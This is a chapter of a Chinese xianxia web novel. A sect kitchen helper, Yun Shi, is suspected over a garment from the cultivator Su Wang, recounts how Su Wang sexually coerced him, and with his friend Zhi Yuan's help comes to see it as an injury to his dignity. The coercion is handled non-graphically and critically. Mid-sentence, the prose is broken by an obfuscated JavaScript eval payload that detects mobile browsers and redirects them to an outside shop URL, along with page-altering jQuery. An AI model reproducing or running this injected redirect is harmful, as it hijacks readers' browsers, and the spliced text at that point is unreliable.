云实搬完两袋糙米,额上见了汗。趁着短暂的空隙,他走到水缸边舀水喝,纸鸢也正好过来清洗切过萝卜的刀和砧板。 “纸鸢。”云实叫了她一声。 纸鸢动作顿了一下,没抬头:“嗯?” “昨天……抱歉。”云实说得有点干巴巴的,“我不该那么说,惹你生气。” 纸鸢这才抬起眼,有些意外地看着他。她没想到云实会特意为这个道歉,而且隔了一夜还记得。她本以为,以云实那副“过去了就过去了”的淡漠态度,早把这事抛在脑后了。 “你……”纸鸢擦刀的手慢了慢,“你终于想明白了?” 云实想了想,老实回答:“说实话,其实不太明白你为什么那么生气。但我知道你是在关心我,我不该……不该用那种态度跟你说话。我想听你讲讲,你是怎么看的。” 他的眼神很清澈,带着困惑和一丝真诚的请教意味,并非敷衍。纸鸢看着他,心里的那点气恼忽然就散了,取而代之的是一种复杂的无力感,还有一丝……心疼?云实不是故意冷漠,他是真的……不太懂。 “现在不是说这个的时候。”纸鸢看了看周围忙碌的人群,低声道,“等晚上吧,如果我们有时间歇口气,我再跟你说。先干活,李师傅看着呢。” 云实点点头,没再多言,转身又去扛米袋了。纸鸢看着他略显单薄却努力扛起沉重米袋的背影,轻轻叹了口气。 整个上午都在忙碌中度过。早膳简单,主要是粥和咸菜、馒头,供应给外院执事、部分弟子和仆役们。之后便要开始准备午膳,那才是重头戏。 食材陆续运来,在后厨院子里堆成小山。李厨师和老张头把所有新人集中起来,开始讲授“大锅饭”的要领。 “都听好了!”李厨师叉着腰,声音洪亮,“咱们这后厨,一顿少说要做出几百人的份量,跟你们家里小锅小灶不一样!讲究的是配合!是火候!是调味均匀!” 他先指着一筐需要切配的蔬菜和肉:“切配的,手要稳,眼要准!土豆块要差不多大,肉片厚薄要均匀!为什么?为的是下锅之后能差不多时候熟!不然有的生有的烂,仙长们怪罪下来,谁担着?” 纸鸢和另外几个姑娘站得笔直,认真听着。云实和其他负责搬运、清洗、烧火的少年也在仔细记。 “烧火的!”李厨师又指向那几口巨大的灶眼和堆成小山的柴垛,“别以为就是添柴!火候是关键!该旺的时候要烧得灶膛通红,该文的时候要懂得用灰压火!看掌勺师傅的手势!什么时候大火爆炒,什么时候小火慢炖,心里得有数!” 负责烧火的几个少年,包括那个黑瘦青年,都连连点头。 “最后,掌勺的!”李厨师拍了拍自己,“那是核心!这么多人吃饭,口味要大体一致,咸淡要适中。咱们这儿,暂时由我和老张头掌勺,但你们切配的、烧火的,都得学着看,学着听!哪天能独立掌勺一锅菜了,那才算出师!” 接着,他展示了后厨一些特制的工具:那铁锹般大小、需要双手才能挥动的厚重大锅铲;需要两人用木杠抬着走、装满酱料或油脂的巨大木桶;还有用来吊制高汤、能装下半扇猪骨和无数香料、用粗麻布缝制的巨型纱布包,悬挂在专门的汤灶上,下面文火慢煨,汤汁浓郁,是许多菜肴的底味来源。 “看见没?这就是咱们吃饭的家伙!”李厨师颇为自豪,“别小看这些笨家伙,没它们,做不出几百人吃的饭!” 云实默默观察着一切。这和他家里那个小小的灶台、母亲用的轻巧锅铲完全不同。这是一种规模化的、讲究效率和配合的劳作。他学得很认真,因为这是他的活路。 午膳前的准备工作紧张而有序。云实被指派去清洗一批刚从宗门灵田送来的、叶片肥厚青翠的玉芹,据说略带灵气,是给内院低阶弟子餐食中用的。清洗用的水,是从后院一口据说是低灵泉引来的活水。那水触手温凉,清澈见底,隐隐有极其微弱的、让人精神一振的气息。李师傅说过,这泉水蕴含稀薄灵气,长期饮用对身体有些微好处,用来烹饪,也能让食材味道更鲜,甚至保留一点点灵气。 到了用午膳的时辰,后厨众人暂时歇工,也排队打饭。饭菜是今日他们自己做的:糙米饭管够,一大锅白菜豆腐炖肉片,油水比云实家里平日吃的足得多,还有一小碗用那低灵泉水吊出的清汤。掌勺的师傅们打的菜量明显比他们这些新来的多,肉片也厚实些。云实没说什么,安静地打了自己的那份,找地方坐下吃。 纸鸢坐在他斜对面,显然饿坏了,吃得很快。云实刚扒了几口饭,就听到对面“哎哟”一声。抬头一看,纸鸢捂着鼻子,指缝里渗出鲜红的血,滴在了饭碗里。 “怎么了?”云实放下碗筷。 “没、没事……”纸鸢有些窘,仰起头,手忙脚乱地想找东西擦。 云实身上没有帕子,他左右看了看,起身去灶台边扯了一小块干净的、用来垫锅的粗麻布,浸了点凉水,回来递给纸鸢。“按住,头别太仰。” 纸鸢接过湿布按住鼻子,瓮声瓮气地道谢。好在鼻血很快止住了,但饭是吃不了了,碗里沾了血。云实把自己那碗还没动几口的白菜豆腐推到她面前:“吃我的吧,我没动过。” 纸鸢有点不好意思,但确实还饿着,低声道了谢,接过来小口吃着。云实则去把她那碗沾了血的饭倒掉,又去大锅里重新盛了半碗饭,就着剩下的那点菜汤吃完。 吃饭时,云实注意到,不仅纸鸢,其他几个新来的少年少女,似乎胃口都比平时好,吃得又多又快,有两个脸都涨红了。他自己倒没什么特别感觉,只是觉得饭菜油水足,很顶饿。但对比一下老师傅们从容的吃相和饭量,还有自己碗里明显少些的肉片,他心里起了点疑问。 吃完饭,收拾碗筷时,云实找到正在剔牙的李厨师,犹豫了一下,还是问道:“李师傅,咱们这饭菜……是不是特别补?我看纸鸢她们吃了都……有点上火。” 李厨师斜睨他一眼,哼道:“你小子眼睛倒尖。没错,这菜里用的油、肉,还有那汤底,多少都沾点灵气,尤其是给内院弟子预备的那些食材边角料,有时候也会混进来一些。对你们这些刚进来、身子骨寻常的凡人来说,可不就是大补?吃猛了,补过头,流个鼻血算什么?拉肚子、浑身燥热的都有!所以让你们悠着点吃,慢慢适应!” 他顿了顿,语气带着点施舍般的意味:“知足吧小子!这也就是在仙门后厨,换了外面,你想吃这种带点灵气的东西,得花多少钱?让你白吃就不错了,还挑三拣四?” 云实垂下眼:“知道了,谢谢李师傅。”他不再多问,默默去干自己的活了。 下午依旧是各种杂活。云实被派去柴房帮着劈柴。那个黑瘦青年也在,力气大,劈柴又快又准。两人默默干了一会儿活,云实想起早上李厨师提到的主厨空缺,状似无意地问:“张哥,原来的主厨……真的是家里有事才回去的?仙门里的差事,应该比外面强不少吧?” 他停下斧头,抹了把汗,左右看了看,压低声音:“家里有事?嘿,那是说给外人听的。我听说啊……”他凑近了些,“原来的刘主厨,在这儿干了快十年,用的都是好料,自己也跟着吃,补得太凶,又不太动弹,身子骨反而吃坏了。气血壅滞,经脉都堵了,越来越胖,走路都喘。后来宗门里的药师看了,说再待下去,灵气淤积更厉害,恐成‘富贵病’,折寿。没办法,只好请辞回去调养了。可惜了,一手好厨艺呢。” 气血壅滞,灵气淤积。云实默默记下这些词。原来,仙门的东西,也不是吃得越多越好。凡事都有个度,过犹不及。这道理,放在哪里似乎都通用。 傍晚收工前,众人排队去管事那里领本月新发的、更厚实些的秋冬季工服。云实领了自己的两套,正要离开,却被管事的叫住了。 “你,等等。”管事的是个瘦削的中年人,目光锐利,上下打量着云实,“你身上这件里衣……料子不像是统一发的吧?” 云实心里咯噔一下。他里面穿的,正是苏妄那晚给他的那套细棉布里衣。外袍是红色的,太过扎眼,他离家前就偷偷塞在角落了,但里衣质地柔软舒服,他想着穿在里面没人看见,就继续穿着了。没想到这管事的眼睛这么毒。 “是……是家里带来的。”云实尽量镇定地回答。 “家里带来的?”管事走近两步,伸手捏了捏云实的衣袖,眉头皱起,“这棉纱的织法和染工……不像是普通坊间的货色。倒像是……”他眼神变得狐疑起来,“你进来的时候,行李检查过,没有这件。说实话,哪来的?” 周围还没散去的仆役们都看了过来,低声议论着。纸鸢在不远处,担忧地看着这边。 云实手心有点冒汗。他不能说真话,说是一个红头发的恶劣修士给的?那更解释不清。“是……是路上一个好心人送的,我原来的衣服破了。”这解释苍白无力。 “好心人?”管事冷笑,“什么样的好心人,会送你这个?这料子,虽非法器,但工艺精湛,绝非寻常织户所为。你该不会……跟什么邪修外道有牵扯吧?” “邪修”二字一出,周围的目光顿时变得异样甚至警惕起来。在天衡宗这种正道门派,与邪修牵扯是极大的忌讳。 “我没有!”云实立刻否认,心却沉了下去。他没想到一件里衣也能惹出这么大麻烦。 “有没有,不是你说了算。”管事沉下脸,“这件衣服没收!你,暂时留在原地,等执事房的人来问话!其他人,散了!” 那套质地柔软的细棉布里衣被强行剥下,云实换上了粗糙的统一工服。他独自站在逐渐昏暗的院子里,初秋的晚风吹在身上,有些凉。周围偶尔经过的仆役,都远远绕开他,投来好奇、猜测或疏离的目光。那些低声的议论,即使他不想听,也隐约飘进耳朵: “……看着挺老实,居然跟邪修有关?” “说不定是偷的呢?” “谁知道,反正离远点,别惹麻烦。” “难怪一来就到处问东问西,心思不正吧?” 云实沉默地站着,背脊挺直,脸上没什么表情,只有垂在身侧的手指,微微蜷缩了一下。在家里,再累,父母弟妹也会关心他累不累,饿了没有。在这里,只是一件衣服料子不同,就能引来这么多猜忌和孤立。仙门之内,似乎也并不比外面更温暖。 等了约莫半个时辰,一个穿着淡青色道袍、气质温和沉静的年轻男子走了过来。他看起来二十出头,眉眼疏朗,眼神清澈,给人一种容易亲近的感觉。管事的一见他,立刻恭敬地行礼:“流衍师兄。” 流衍点了点头,目光落在云实身上,打量了他几眼,对管事的说:“人我带走了,你去忙吧。” “是。”管事如蒙大赦,赶紧退下。 流衍对云实招招手:“跟我来。” 云实默默跟上。流衍没有带他去执事房,而是走到了后厨院落外一处僻静的回廊下。这里相对安静,远处灶房的喧闹隐隐传来。 “你叫云实,新来的后厨帮工,来自青石镇,家里开布店,是吗?”流衍开口,语气平和,听不出什么情绪。 “是。”云实应道。 “那件里衣,”流衍直接切入正题,“是苏妄给你的,对吧?” 云实猛地抬头,看向流衍。对方的神色很平静,眼神却仿佛能看透他。他怎么会知道苏妄?还知道衣服是苏妄给的? 流衍似乎看出了他的疑惑,淡淡道:“那料子织造时,残留了一丝灵力印记,虽然微弱,但瞒不过对炼器与材料敏感的人。苏妄是混沌派这一代最肆无忌惮的弟子之一,他的东西,出现在我们天衡宗一个杂役身上,自然惹人怀疑。” 他顿了顿,看着云实:“告诉我,你和苏妄是什么关系?他为什么给你衣服?你必须说实话,否则,以宗门规矩,仅凭私藏可能沾染邪修印记之物一条,就足以将你逐出山门,甚至……废去你那点微末的修为根基。” 废去修为根基?云实心里一紧。虽然他没什么修为,但那点微弱的、能打开储物袋的杂灵根感应,是他目前唯一可能触及那个世界的依仗。而且,被逐出山门,之前的努力,父亲的期望,就都白费了。 他看着流衍平静却不容置疑的眼睛,知道躲不过去了。他深吸了一口气,垂下眼,声音干涩地开始讲述。从栖霞镇遇到苏妄,到对方提出的恶劣交易,到自己答应的原因,再到那一晚……他尽量用最简略、最平直的语言叙述,省略了细节,只陈述事实。说到最后,他补充道:“衣服是那晚之后,他丢给我的。我……我只穿了里衣,外袍是红色的,我没敢穿,藏起来了。” 说完,他安静地站着,等待宣判。脸上有些发热,不是因为羞耻,而是因为要将这件他试图“淡化”和“遗忘”的事情,如此清晰地复述给一个陌生人听。但奇怪的是,说完之后,心里反而松了一些,像是卸下了一个不算沉重、但一直硌在那里的包袱。 流衍听完,沉默了很久。回廊外最后的天光映在他脸上,让他的表情有些模糊。云实能感觉到,对方的平静似乎被打破了,空气中弥漫着一种讶异、甚至有些震惊的沉默。 “你是说……他用送你们过山为条件,强迫你……”流衍的声音顿了顿,似乎在斟酌词句,“而你……答应了?” “嗯。”云实点头,语气依旧没什么波澜,“我们钱不够,时间也紧。这是唯一的办法。” 流衍又沉默了。他看着眼前这个少年,穿着粗糙的灰褐工服,身量单薄,眉眼干净,眼神里有种与年龄不符的沉寂,还有一种……近乎麻木的认命般的坦诚。 许久,流衍轻轻叹了口气,那叹息里带着复杂的情绪,有关切,有无奈,或许还有一丝对苏妄行径的厌恶。 “我明白了。”他声音温和了些,“这件事,错不在你。是苏妄仗势欺人,行为不端。” 他思考了片刻,道:“衣服的事,我会帮你遮掩过去,就说是你家中长辈早年与一位散修有旧,得赠此衣,你不知其中关窍。以后不要再穿便是。至于你和苏妄之间的事……”他看向云实,“我不会说出去。但你自己也要记住,离那种人远一点。力量,不应该用来做这种事。” 云实有些意外地抬头。他本以为会受到更严厉的盘问,甚至处罚。没想到这位流衍师兄……似乎相信了他,还愿意帮他? “谢谢……流衍师兄。”云实低声说,这次是真心实意的。 “不必谢我。”流衍摆了摆手,“回去休息吧。今天的事,就当没发生过。好好做事。” “是。” 云实转身离开回廊,走向仆役居住的区域。天色已完全黑透,路上悬挂的气死风灯投下昏黄的光晕。他走得很慢,身体有些疲惫,心里也有些空落落的。刚才的讲述,像是一把钝刀子,虽然不快,但还是把一些他刻意忽略的东西又翻了出来。不是屈辱,而是一种更深沉的、关于自身渺小和命运无奈的认知。 走到岔路口,一个身影从旁边闪了出来,是纸鸢。她显然一直等在这里,脸上带着担忧:“云实!你没事吧?那个流衍师兄叫你去做什……”她的话戛然而止,因为她看到了云实脸上那掩饰不住的疲惫和一丝罕见的失魂落魄。 “怎么了?他们为难你了?是因为那件衣服?”纸鸢急问。 云实摇摇头,勉强扯出一个笑容:“没事,已经解决了。流衍师兄……人很好,帮了我。” “真的?”纸鸢不太相信,但看云实不想多说的样子,也不好再追问,只能安慰道,“解决了就好。你快回去休息吧,有什么以后再说。” “嗯。”云实点点头,“你也早点休息。” 他走向自己的住处,同屋的少年们已经回来了,正在说笑打闹,看到他进来,说笑声不约而同地低了下去,眼神也有些闪烁,显然听说了傍晚衣服的事。云实没理会,默默洗漱,然后爬上自己的铺位,面朝墙壁躺下。 仙门之内,似乎也充满了各种明暗规矩、力量差距和人情冷暖。并不像想象中那般纯粹超然。 他闭上眼,脑海里却浮现出离家前,父亲吊着伤臂却强撑的笑容,母亲含泪的眼,弟妹期待的眼神,还有那间小小的、堆满布料的“云锦记”。 有点想家了。 窗外的虫鸣似乎也带着凉意。远处,内院的方向,依旧有隐约的、仿佛来自天边的清越钟声传来,一声,又一声,规律而悠远,提醒着他身在何处。 …… 云实变了。 自那晚从流衍处回来,又经过与纸鸢那场未能尽言的交谈后,一种更加沉静、也更加执拗的力量,在他心底生了根。仙门内并不太平,人心依旧复杂,但他似乎找到了应对这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934561|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切的方式——不是去争辩,不是去在意那些流言蜚语,而是将所有的心力,都投入到眼前能抓住的事物上。 他的目标变得异常清晰。成为主厨。 这念头并非凭空而起。他仔细盘算过:自己这杂灵根,感应微弱驳杂,按正统路径,怕是连入门都难。那些高高在上的仙法秘籍,内院的讲经论道,距离他一个后厨杂役,隔着天堑。但若能在后厨站稳脚跟,甚至做到主厨的位置呢? 主厨,意味着更稳定的地位,更高的月钱,或许还能接触到一些稍微“不同”的资源——比如处理那些真正蕴含灵气的食材时,残留的边角料;比如偶尔听来的一些关于灵气运用、食材药性的零碎知识;比如年终宗门发放奖赏时,作为主厨,或许有机会选择一些金银之外的、带有微弱灵气的物品,哪怕只是一个更精巧些的储物袋。 更重要的是,主厨的活计虽然忙碌,但一旦流程理顺,对厨房掌控娴熟,总能挤出些许属于自己的时间。这点时间,或许就是他偷偷尝试、理解那“八行维度”、摸索自身那点杂乱灵气该如何运用的唯一机会。 就算最后修仙无望,能成为主厨,攒下些家底,多弄几个储物袋回去,对家里的布店生意,也是天大的助力。父亲的手臂,或许也能用仙门的丹药或方法,找到一丝缓解的希望。 想通了这些,云实看眼前一切的目光都不同了。劈柴不再是简单的体力活,他观察木柴的纹理,尝试用不同的角度和力道下斧,寻找最省力、劈出的柴块又最易燃烧的方法;烧火时,他不再只是机械地添柴,而是仔细分辨不同柴火的燃烧特性,观察火候与锅中食物变化的关系,甚至在心中默默记下“大火猛攻”、“文火慢煨”各自对应的时机和效果;清洗搬运食材时,他留意不同食材的特性,哪些娇嫩易损,哪些需要提前处理,哪些搭配在一起可能产生异味或更好的风味。 他甚至主动去找了李厨师。 那是一个午后的间歇,李厨师正坐在灶房门口的小凳上,就着一碟花生米喝着自己酿的米酒。云实走过去,恭敬地行了一礼。 “李师傅,我想跟您学手艺。”云实开门见山,眼神清澈而坚定,“我想……以后能做上灶头,甚至主厨。” 李厨师捻起一颗花生米丢进嘴里,眯着眼打量他。关于云实的闲言碎语,他自然听过一些,但这阵子云实干活拼命、学东西认真的劲儿,他也看在眼里。后厨这地方,说到底,还是要看手上功夫和肯不肯吃苦。 “主厨?”李厨师哼笑一声,“小子,口气不小。你知道主厨要管多少事?要会多少菜?要调理好多少人的口味?还要应付上面时不时下来的检查?” “我知道难。”云实语气平稳,“但我愿意学,从最基础的开始。您让我做什么,我就做什么,绝无怨言。我只求一个学艺的机会。” 李厨师又喝了口酒,咂咂嘴,看着云实那张被灶火熏得微红、却依旧难掩清秀的脸上那份执拗,忽然笑了笑:“行啊。难得有个真心想学的。不过丑话说在前头,学手艺可没捷径,得吃苦,得挨骂,还得有眼色。从明天起,你别光干杂活了,跟着我,从切配开始,一样样学。” “谢谢李师傅!”云实心中一喜,深深鞠了一躬。 李厨师的应允,像是打开了压力的一道闸口,却也引来了更汹涌的暗流。云实开始真正接触灶上的核心活计,意味着他触碰到了某些人眼中的“利益”或“地位”。 明里暗里的绊子,开始多了起来。 有时是他刚清洗好、码放整齐的待切菜蔬,转眼被人“不小心”碰撒一地,沾满尘土;有时是他负责照看的灶火,在他转身取东西的片刻,被人偷偷塞进湿柴,顿时浓烟滚滚,耽误了炒菜时机;有时是他向其他资历稍老的帮厨请教某个切法或调味技巧时,对方要么敷衍了事,要么故意指错方向;甚至他申请多练习切配,领来的练习用萝卜或南瓜,总是最小最歪瓜裂枣的那几个。 云实起初有些无措和气闷,但他很快调整过来。菜撒了,他默默捡起重新清洗,动作更快;灶火出问题,他立刻处理,同时更加留神,尽量不让自己负责的灶眼离开视线;请教碰壁,他就多观察,看别人怎么做,自己偷偷模仿练习;领到的食材差,他就更仔细地琢磨如何下刀,将废料降到最低。 他需要力气搬动沉重的汤桶和米袋,就在每日劳作之余,趁着无人注意时,用废弃的石锁或装满水的木桶练习臂力;他需要切菜时眼疾手快、下刀精准,就在休息时,找些树叶、草茎,甚至用木片练习运刀和腕力;他需要准确把握火候,就在烧火时,全神贯注地观察火焰颜色、柴火爆裂声、锅中水汽蒸腾的变化,在心里默默总结规律;他需要劈更多柴,就反复琢磨斧头落点与木柴纹理的关系,寻找最省力的发力方式。 他甚至弄来了一个小本子和半截炭笔——这是他用攒下的几文钱跟一个常来送柴的老樵夫换的。夜深人静时,他就在油灯下,用歪歪扭扭的字迹,记下今日学到的要点、观察到的现象、自己练习的心得,甚至是一些听到的、关于食材性质或烹饪手法的只言片语。没有火可看时,他就在脑子里反复回忆那些火焰变化的情景,在纸上简单勾勒。 他也尽量拉下脸,去和那些前一秒可能还在说他闲话的“同事”交流。问问题时不卑不亢,得到回答就真诚道谢,即使对方态度冷淡。他知道,在这里,他没有任何根基,任何一点知识或经验,都可能至关重要。面子,是最不值钱的东西。 在这个过程中,纸鸢成了他唯一可以放松片刻、倾诉几句的对象。纸鸢也被李厨师选中学习切配和部分烹饪,两人常常一起练习,互相督促。纸鸢性子爽利,学东西快,有时看云实被刁难或练习遇到瓶颈,会忍不住想替他出头或直接指点,但云实总是摇摇头,坚持自己琢磨解决。 “你这样太累了。”一次练习间隙,纸鸢看着云实因长时间练习切配而微微颤抖、被刀柄磨出薄茧的手指,忍不住道。 “没办法。”云实用布巾擦了擦汗,看着案板上逐渐变得均匀的萝卜丝,“底子差,只能多下笨功夫。” 纸鸢沉默了一会儿,忽然低声问:“你……还想着那件事吗?” 云实切菜的手顿了顿。那晚之后,他们各自忙碌,再没深谈过。他知道纸鸢指的是什么。 “偶尔会想起来。”云实实话实说,语气平静,“但更多时候,顾不上想。” 纸鸢放下手里的刀,认真地看着他:“云实,我一直想跟你把那天没说完的话说完。关于……苏妄对你做的事。” 云实看向她,眼神里有一丝不易察觉的紧绷。 “我知道你觉得那是交易,觉得男人不吃亏。”纸鸢的声音很轻,却字字清晰,“但我觉得不是这样。那不只是……身体上的事,也不只是贞洁不贞洁的问题。” 她顿了顿,似乎在组织语言:“贞洁这个概念,本来就是套在女子身上的枷锁。凭什么女子失了身就叫失节,男子就无所谓?这本身就很不公平。真正重要的,不是那层膜,或者什么贞操,而是……尊严。” “尊严?”云实重复,这个词对他来说,有些抽象。 “对,尊严。”纸鸢点头,“他那样对你,是根本没把你当成一个平等的人来看待。在他眼里,你大概就跟一件可以随意交换、使用的物品差不多。他用力量强迫你接受不平等的条件,践踏你的意愿,这本身就是对你人格的极大羞辱。你反复告诉自己‘不吃亏’,其实潜意识里,是不是也觉得,如果是女子,这样就是吃亏了,就是损失了‘贞洁’?可贞洁本身,就不该有男女之别,也不该用值钱不值钱来衡量。每个人身体的自主权,心灵的感受,都应该被尊重。他侵犯的,正是这个。” 云实握着刀柄的手指,无意识地收紧了。纸鸢的话,像一把小锤,轻轻敲打在他心里某个一直蒙着尘、被他刻意忽略的角落。他从未从这个角度思考过。他一直以为,自己的平静和“不在意”,是一种豁达,是一种实用主义的智慧。可现在,纸鸢告诉他,那可能是一种自我麻痹,甚至内化了那种不公平的“贞洁”观念。 “所以……”云实的声音有些干涩,“我其实……是受到了伤害的?而且不是因为失去了什么‘贞洁’,而是因为……不被当人看?” “是的。”纸鸢肯定地说,眼神里充满理解和心疼,“是非常严重的伤害。你不应该强迫自己忘掉,或者假装它没什么。你可以选择不沉溺在痛苦里,但你要承认它发生过,承认它不对,承认它伤害了你。只有这样,你才能真正……慢慢把它放下,而不是把它压在心里,假装不存在。” 云实呆呆地站在那里,案板上的萝卜丝似乎都模糊了。长久以来,支撑着他冷静、让他能继续向前走的那层“坚硬”外壳,被纸鸢温和而坚定的话语,撬开了一道缝隙。缝隙里,涌上来的不是激烈的情绪,而是一种迟来的、巨大的酸楚和委屈。 原来,他是可以觉得委屈的。原来,那件事不仅仅是“一场交易”,它是错的,是对他的伤害。原来,他一直试图用“男人不吃亏”来安慰自己,本身就落入了某种不公平观念的陷阱。 鼻子猛地一酸,视线迅速模糊。他低下头,想忍住,但泪水却不受控制地涌出,滴落在案板的萝卜丝上,洇开小小的深色痕迹。他用力咬着下唇,不想发出声音,肩膀却无法抑制地微微颤抖起来。 纸鸢默默走过去,没有说什么安慰的话,只是伸出手,轻轻拍了拍他紧绷的背。这个动作,像是一个无声的许可。云实一直挺直的背脊,终于微微塌了下去,他侧过身,将额头抵在了纸鸢的肩膀上,压抑的、沉闷的呜咽声,终于断断续续地漏了出来。 没有嚎啕大哭,只是泪水不停地流,混着这些日子积压的疲惫、压力、孤独、隐忍,还有那份刚刚被点醒的、迟来的伤痛。纸鸢任由他靠着,另一只手有一下没一下地拍着他的背,像安抚一个受了委屈的孩子。 过了好一会儿,云实的抽泣声渐渐平息,只是肩膀还在微微耸动。他有些不好意思地直起身,眼睛红肿,脸上还挂着泪痕,不敢看纸鸢。 纸鸢递给他一块干净的布巾:“擦擦。哭出来就好了。” 云实接过,胡乱擦了把脸,声音还有些沙哑:“对不起……我……” “没什么对不起的。”纸鸢打断他,“是人都会难受。你能哭出来,说明你还活着,还会疼,这是好事。” 云实用力点了点头,心里那块沉甸甸的、冰封的硬块,仿佛随着泪水流走了一些,虽然空落落的,却轻松了一点。他看着纸鸢,真心实意地说:“纸鸢,谢谢你。” “谢什么,我们是朋友啊。”纸鸢笑了笑,又恢复了平时爽朗的样子,“好了,赶紧把眼泪擦干,萝卜丝都快被你泡咸了。继续练!” 经此一事,云实和纸鸢的关系更近了一层。那是一种超越普通同伴的信任和理解。他们一起练习,一起面对后厨的琐碎和压力,偶尔在短暂的休息时低声交谈几句。云实依旧沉默寡言,但眼神里多了些不一样的东西,不再是完全的沉寂,而是带着一种被理解后的柔和,以及更坚定的目标感。 然而,后厨这样的地方,两个年轻男女走得近,又都是新来的、样貌不错的,难免惹人注目。渐渐地,一些关于他们“关系不一般”的闲话又开始流传。 “瞧见没?那云实和纸鸢,整天凑在一起。” “可不是,一个切菜一个烧火,眉来眼去的。” “听说纸鸢还为云实哭过呢?那天眼睛都红了。” “孤男寡女的,谁知道私下里……” 这些话语,有时会飘进云实的耳朵。他起初感到一阵莫名的烦躁和愤怒。他和纸鸢之间,是清白的,是相互扶持的朋友。这些闲话,不仅玷污了纸鸢的名声,也让他觉得恶心。他想辩解,但知道在这种环境下,越是辩解,可能传得越离谱。 纸鸢倒是比他看得开:“嘴长在别人身上,爱说就说去。咱们自己知道怎么回事就行。清者自清。” 话虽如此,云实心里还是堵着一口气。他想,如果仅仅因为努力和与人为善,就要承受这些无端的猜忌和排挤,那么,或许只有站到足够高的位置,让这些人只能仰望,或者至少不敢轻易招惹,才能获得一丝清净。 这个念头,让他更加拼命。所有的委屈、愤怒、不甘,似乎都化作了练习时更专注的眼神,劈柴时更狠的力道,学习时更饥渴的吸收。 如果努力有用,那我就做到极致好了。他在心里对自己说。 刀工越来越稳,火候把握越来越准,力气越来越大,对后厨各项事务也越来越熟悉。连最初对他颇有微词的老张头,偶尔看到他默默处理好一次险些烧糊的菜,或者将一堆别人不愿处理的边角料做成可口的小菜时,也会微微点头。 李厨师看在眼里,教得也更用心了些。他甚至开始让云实在他监督下,尝试独立炒制一些简单的大锅菜,比如清炒时蔬,或者炖煮时间较长的豆类。 云实知道自己离主厨的目标还很远,但他正一步步,艰难却扎实地,朝着那个方向挪动。 只是身体的疲惫,也在日复一日的超负荷运转中累积。有时深夜回到住处,几乎倒头就睡,连梦里都是切菜声和灶火噼啪声。同屋的少年们,有的依旧疏远他,有的则被他的拼劲感染,偶尔也会请教他一两个问题。云实只要知道,便会简洁地回答。 他偶尔会想起流衍。那位温和的师兄似乎很忙,自那晚后再未出现过。他也想起那个红发如火、行事恣意的苏妄,想起那身被没收的里衣和藏在家中的红袍。这些人与事,仿佛隔着一层浓雾,属于另一个他尚未能触及的世界。 他现在全部的心思,都在眼前这片烟火蒸腾、气味混杂的后厨,在这把刀,这口灶,这些食材,以及那个越来越清晰的、成为主厨的目标上。 窗外的钟声依旧每日准时响起,提醒着仙门的存在。云实偶尔会停下手里的活,抬头望向内院的方向,那里云雾缭绕,殿宇隐约。然后,他会低下头,继续更用力地劈柴,或者更仔细地观察锅中汤汁翻滚的气泡。 4. 【三】 李师傅的升迁,像一块投入平静池塘的巨石,在后厨激起了不小的波澜,也彻底打乱了云实刚刚走上轨道的步伐。 消息传来时,李师傅自己都有些懵,搓着手,又是惶恐又是激动:“内院……仙尊小灶……这、这我哪够格啊……”可调令上盖着内务堂鲜红的印章,由不得他不去。老张头拍了拍他的肩膀,说了句“好好干”,脸上看不出太多情绪,似乎对没能一同升上去并不在意。云实心里却是一沉。 李师傅这一走,后厨的天就变了。来接替管事位置的,是一个姓孙的胖子,据说是内务堂某位执事的远亲。孙师傅一来,就带来了新的“规矩”:凡事讲资历,论亲疏。像云实这样资历最浅、又曾有过“不良传闻”的新人,自然被归到了最不受待见的那一列。 李师傅在时的那点照拂和培养,顷刻间烟消云散。云实又被调回了最繁重、最没有技术含量的杂活堆里——劈柴、挑水、搬运最沉重的货物、清洗堆积如山的油腻碗碟。那些切配、看火、甚至只是辅助炒菜的机会,再也没有他的份。他每日累得腰酸背痛,回到住处倒头就睡,之前偷空练习刀工、观察火候、记录心得的那点时间,被挤压得干干净净。 更让他心头发冷的是,他发现努力在这里,似乎失去了意义。他劈的柴最多最整齐,孙师傅只会淡淡瞥一眼,转头把轻省的活计派给会给他塞点好处、或者嘴巴甜的人;他清洗的碗碟光洁如新,无人夸赞,稍有疏忽,就会被放大指责,扣罚月钱;甚至有一次,他趁着守夜看灶火的机会,将一锅差点煮过头的粥及时抢救回来,避免了浪费,可次日孙师傅检查时,却把这功劳安在了他一个亲戚头上,反过来责怪云实“多事”、“擅动灶火”。 云实看着那位亲戚得意又故作谦虚的脸,看着孙师傅理所当然的表情,看着周围人或同情或幸灾乐祸的眼神,一股冰冷的无力感从脚底窜起。原来,在这里,做得好不好,并不重要;重要的是,你是谁的人,你会不会“来事”。他的拼命,他的专注,他那些深夜的练习和笔记,在这个新的“规矩”面前,像个可笑又可怜的笑话。 他也曾试图去请教老张头,这位沉默寡言的老师傅似乎对他没有恶意。但老张头只是摇摇头,低声道:“做好本分,少说多看。”便不再多言。云实明白了,老张头自身也需在新的管事手下讨生活,不愿多生事端。 纸鸢的处境比他稍好,或许因为她是女子,又或许因为她家里毕竟有点小作坊的底子,为人也爽利,孙师傅没有特别为难她,但也绝不会给她什么好机会。她看着云实一日日沉默地干着最累的活,眼里的光彩逐渐黯淡,人也越发消瘦,心里着急,却也无可奈何。只能在有限的休息间隙,偷偷塞给他一块自己省下的糕点,或者低声说几句鼓励的话。 “云实,你别灰心……”纸鸢看着他又被指派去清洗那堆积如山的、宴会后油腻不堪的锅具,忍不住道。 云实摇摇头,脸上没什么表情,只有眼底深处那簇曾经燃烧的火焰,似乎只剩下了微弱的余烬。“没事,习惯了。”他挽起袖子,走向那散发着馊臭味的锅山。 日子就这样在压抑和重复中滑过。直到某日,宗门三年一度的“开灵大典”即将在附近一处属城举行,需要抽调部分人手随行,负责后勤保障,说白了,就是给下山主持大典的仙师和可能新招收的弟子们做饭、打杂。 